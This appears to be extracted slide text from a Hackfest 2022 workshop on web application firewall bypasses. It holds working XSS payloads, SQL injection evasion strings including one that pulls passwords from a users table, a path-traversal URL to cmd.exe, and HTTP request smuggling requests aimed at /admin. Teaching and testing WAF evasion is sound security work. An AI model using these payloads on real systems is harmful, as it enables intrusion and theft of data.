Presented by Philippe Arteau
Hackfest 2022
README.md
The purpose of the Web Application Firewall is to filters, monitors, and blocks HTTP traffic.
HTTP traffic can be incoming and/or outgoing
What is the path to Wordpress's users endpoint?
Source: 6 ways to enumerate WordPress Users
<svg/onload=prompt(/XSS/)>
<video onnull=null onmouseover=confirm(1)>
Source: Cloudflare WAF Bypass by Bohdan Korzhynskyi
<dETAILS open onToGgle=a=prompt,a() x>
Source: Akamai WAF Bypass found by @s0md3v
Instead of information_schema.tables, all_tables, sys.sysobjects ...
information_schema.tables
all_tables
sys.sysobjects
Alternatives table names:
information_schema.table_constraints
mysql.innodb_table_stats
dbo.__MigrationHistory
ALL_TAB_STATISTICS
PHP i identifier is needed to enable insensitivity
i
preg_match("/union.*select/i")
Python re.IGNORECASE
re.IGNORECASE
re.compile("<[a-z]", re.IGNORECASE)
[NC] in .htaccess (Apache HTTP Server)
[NC]
.htaccess
RewriteCond %{QUERY_STRING} \bwp/v2/users\b [NC]
Path encoded
http://server.com/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\
HTML double encoded
%253Cscript%253Econfirm()%253C%252Fscript%253E
Depending on the context, different encoding can be used.
<
&x3C;
<
\x3C
\074
\74
String.fromCharCode(74)
Unicode is not the only way to encode characters
• UTF-7 (+ADw-script+AD4-alert(123)+ADw-+AC8-script+AD4-) • UTF-16LE (00 3c 00 62 00 6f 00 6f 00 6b) • UTF-16BE • UTF-32…
+ADw-script+AD4-alert(123)+ADw-+AC8-script+AD4-
00 3c 00 62 00 6f 00 6f 00 6b
: No longer supported by many browsers and frameworks.
More info: Unicode vulnerabilities that could byͥte you
SQL query:
INSERT INTO ContentTable VALUES (…,'<img src=…')
Content when fetch:
<img src=x onerror=prompt(1)>
Time for some action..
Open the following URL and see if you can find the bypasses: Live instance (only for Hackfest)
/*Comments*/
SELECT/**/name/**/FROM/**/users/**/WHERE/**/1=1
MSSQL [Square brackets]
SELECT"name"FROM[sys.databases]WHERE"id"=1
Oracle
SELECT 0x7461626c655f6e616d65 FROM all_tab_tables
Using notation such as 1.e followed by non-numeric character...
1.e
1.e(ascii 1.e(substring(1.e(select password from users [...]
This is how MySQL/MariaDB will interpret
(ascii (substring((select password from users [...]
Source: A Scientific Notation Bug in MySQL left AWS WAF Clients Vulnerable to SQL Injection by Marc-Olivier Bergeron
Time to bypass one of the most robust WAF modsecurity!
Live instance (only for Hackfest)
WebSocket handshake
In order to work:
New exercises for the fourth block!
The proxy sees first Content-Length header.
Content-Length
While the backend sees last Content-Length header.
Transfer-Encoding: chunk
POST /index.php HTTP/1.1 Host: myapp.com Transfer-Encoding: chunked 5\r\n Hello\r\n 8\r\n Hackfest\r\n B\r\n Conference!\r\n 0\r\n \r\n
POST / HTTP/1.1 Host: localhost Content-Length: 45 Transfer-Encoding: chunked 0 GET /admin HTTP/1.1 Host: localhost